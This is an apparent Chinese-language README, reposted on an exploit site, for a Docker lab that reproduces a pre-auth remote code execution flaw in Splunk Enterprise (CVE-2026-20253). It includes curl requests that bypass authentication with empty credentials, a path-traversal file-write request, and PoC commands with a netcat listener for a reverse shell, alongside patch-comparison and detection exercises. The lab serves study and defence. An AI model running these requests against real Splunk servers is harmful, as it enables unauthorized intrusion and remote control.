Sploitus

Exploit for CVE-2026-20253

kitploit · 2026-09-10

Exploit Code

MARKDOWN308 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IVANESK315-CVE-2026-20253
# CVE-2026-20253 实验环境

**Splunk Enterprise 通过 PostgreSQL Sidecar 服务实现预认证 RCE**

|   
---|---  
**CVE**|  CVE-2026-20253  
**CVSS**|  9.8 (严重)  
**类型**|  未认证远程代码执行  
**CWE**|  CWE-306: 关键功能缺少身份验证  
**产品**|  Splunk Enterprise 10.0.x / 10.2.x  
  
> **免责声明** :本实验环境仅用于授权的安全研究、教育和渗透测试。请勿对您不拥有或未获得明确授权测试的系统使用。

* * *

## 实验架构

root@kitploit:~
    
    
    ┌──────────────────────────────────────────────────────┐
    │                  Docker 网络: cve-lab                 │
    │                  子网: 172.20.0.0/24                  │
    │                                                      │
    │  ┌─────────────────────┐   ┌──────────────────────┐  │
    │  │  splunk-vulnerable   │   │  attacker            │  │
    │  │  172.20.0.10         │   │  172.20.0.50         │  │
    │  │                      │   │                      │  │
    │  │  Splunk 10.2.3       │   │  Python 3.11         │  │
    │  │  端口 8000 (Web)     │   │  nmap, netcat        │  │
    │  │  端口 8089 (API)     │   │  postgresql-client   │  │
    │  │  端口 8088 (HEC)     │   │  tcpdump             │  │
    │  └─────────────────────┘   └──────────────────────┘  │
    │                                                      │
    │  ┌─────────────────────┐  (可选, profile: patched)    │
    │  │  splunk-patched      │                             │
    │  │  172.20.0.11         │                             │
    │  │  Splunk 10.2.4       │                             │
    │  │  端口 8001 (Web)     │                             │
    │  └─────────────────────┘                             │
    └──────────────────────────────────────────────────────┘
    

* * *

## 前置要求

  * Docker 和 Docker Compose
  * Git
  * 8GB+ 内存(Splunk 需要大量内存)
  * 互联网访问(用于拉取 Docker 镜像)



* * *

## 快速开始

### 1\. 启动漏洞实验环境

root@kitploit:~
    
    
    # 启动 Splunk 漏洞版本 + 攻击者
    docker-compose up -d
    
    # 等待 Splunk 初始化(约 2-3 分钟)
    docker-compose logs -f splunk-vulnerable
    # 查找: "Ansible playbook complete, will begin polling for Splunk On..."
    # 然后:     "Splunk is ready"
    

### 2\. 验证 Splunk 正在运行

  * 打开浏览器: http://localhost:8000
  * 登录: `admin` / `ChangeMeNow!`



### 3\. 运行漏洞检查器

root@kitploit:~
    
    
    # 从宿主机运行
    docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k
    
    # 或进入攻击者容器
    docker exec -it attacker bash
    cd /opt/exploit
    python checker.py -t http://172.20.0.10:8000 -k
    

### 4\. 运行 PoC 漏洞利用

root@kitploit:~
    
    
    # 进入攻击者容器
    docker exec -it attacker bash
    
    # 检查漏洞
    python poc.py -t http://172.20.0.10:8000 --check -k
    
    # 完整 RCE 漏洞利用(先在另一个终端启动监听器)
    # 终端 1 - 监听器:
    docker exec -it attacker nc -lvnp 4444
    
    # 终端 2 - 漏洞利用:
    docker exec -it attacker python poc.py \
        -t http://172.20.0.10:8000 \
        --rce \
        --lhost 172.20.0.50 \
        --lport 4444 \
        -k
    

### 5\. (可选)启动已修补版本进行对比

root@kitploit:~
    
    
    docker-compose --profile patched up -d splunk-patched
    
    # 针对已修补实例进行测试(应返回 NOT VULNERABLE)
    docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k
    

* * *

## 实验练习

### 练习 1: 侦察与漏洞识别

**目标** : 识别 PostgreSQL sidecar 端点并验证认证绕过。

root@kitploit:~
    
    
    # 扫描 Splunk 端口
    nmap -sV 172.20.0.10 -p 8000,8089,8088
    
    # 使用 curl 手动探测 sidecar 端点
    curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
    curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
    curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"
    

**问题** :

  * 您观察到哪些 HTTP 状态码?
  * `Authorization: Basic Og==` 解码后是什么?
  * 为什么 400 响应表示存在漏洞(相对于 401)?



### 练习 2: 文件写入原语

**目标** : 演示在 Splunk 服务器上创建任意文件。

root@kitploit:~
    
    
    # 通过 backup 端点创建测试文件
    curl -k -X POST -u ":" \
      "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"
    
    # 验证文件已创建
    docker exec splunk-vulnerable ls -la /tmp/pwned
    

### 练习 3: 完整 RCE 链

**目标** : 在 Splunk 服务器上实现代码执行。

  1. 在攻击者机器上启动 netcat 监听器
  2. 使用 `--rce` 标志运行 PoC 漏洞利用
  3. 验证反向 shell 连接
  4. 调查 shell 具有的权限(`whoami`、`id`、`ls /opt/splunk/etc/`)



### 练习 4: 补丁差异分析

**目标** : 了解漏洞版本与已修补版本之间的变化。

root@kitploit:~
    
    
    # 同时启动漏洞版本和已修补版本
    docker-compose --profile patched up -d
    
    # 对比响应
    curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
    curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401
    
    # 对比相关的 Splunk 配置/代码
    docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
    docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
    

### 练习 5: 检测工程

**目标** : 为此漏洞创建检测规则。

  1. 在漏洞实例上启用 Splunk 内部日志记录
  2. 运行漏洞利用
  3. 在 `index=_internal` 中搜索攻击痕迹
  4. 编写 SPL 检测查询(参见 `report/ANALYSIS.md` 第 6 节)
  5. 针对漏洞利用测试您的检测规则



* * *

## 文件结构

root@kitploit:~
    
    
    CVE-2026-20253/
    ├── README.md                    # 本文件
    ├── docker-compose.yml           # 实验环境定义
    ├── attacker/
    │   ├── Dockerfile               # 攻击者容器构建
    │   └── requirements.txt         # Python 依赖
    ├── exploit/
    │   ├── checker.py               # 漏洞检查脚本
    │   ├── poc.py                   # PoC 漏洞利用(认证绕过 → 文件写入 → RCE)
    │   └── requirements.txt        # Python 依赖
    └── report/
        └── ANALYSIS.md              # 根本原因分析与完整报告
    

* * *

## 调试提示

### Splunk 容器无法启动

root@kitploit:~
    
    
    docker-compose logs splunk-vulnerable
    # 常见修复方法: 将 Docker 内存增加到 8GB+
    

### 验证 PostgreSQL sidecar 正在运行

root@kitploit:~
    
    
    docker exec splunk-vulnerable ps aux | grep postgres
    docker exec splunk-vulnerable netstat -tlnp | grep 5435
    

### 检查 Splunk 内部日志

root@kitploit:~
    
    
    docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50
    

### 检查目标模块化输入脚本

root@kitploit:~
    
    
    docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
    

### 捕获网络流量进行分析

root@kitploit:~
    
    
    docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10
    

* * *

## 清理

root@kitploit:~
    
    
    # 停止并移除所有容器
    docker-compose --profile patched down
    
    # 移除卷(删除所有 Splunk 数据)
    docker-compose --profile patched down -v
    
    # 移除 Docker 镜像
    docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4
    

* * *

## 参考资料

  * 完整根本原因分析
  * Splunk 安全公告 SVD-2026-0610
  * WatchTowr Labs 分析与 PoC
  * CISA KEV 目录
  * Picus Security 技术文章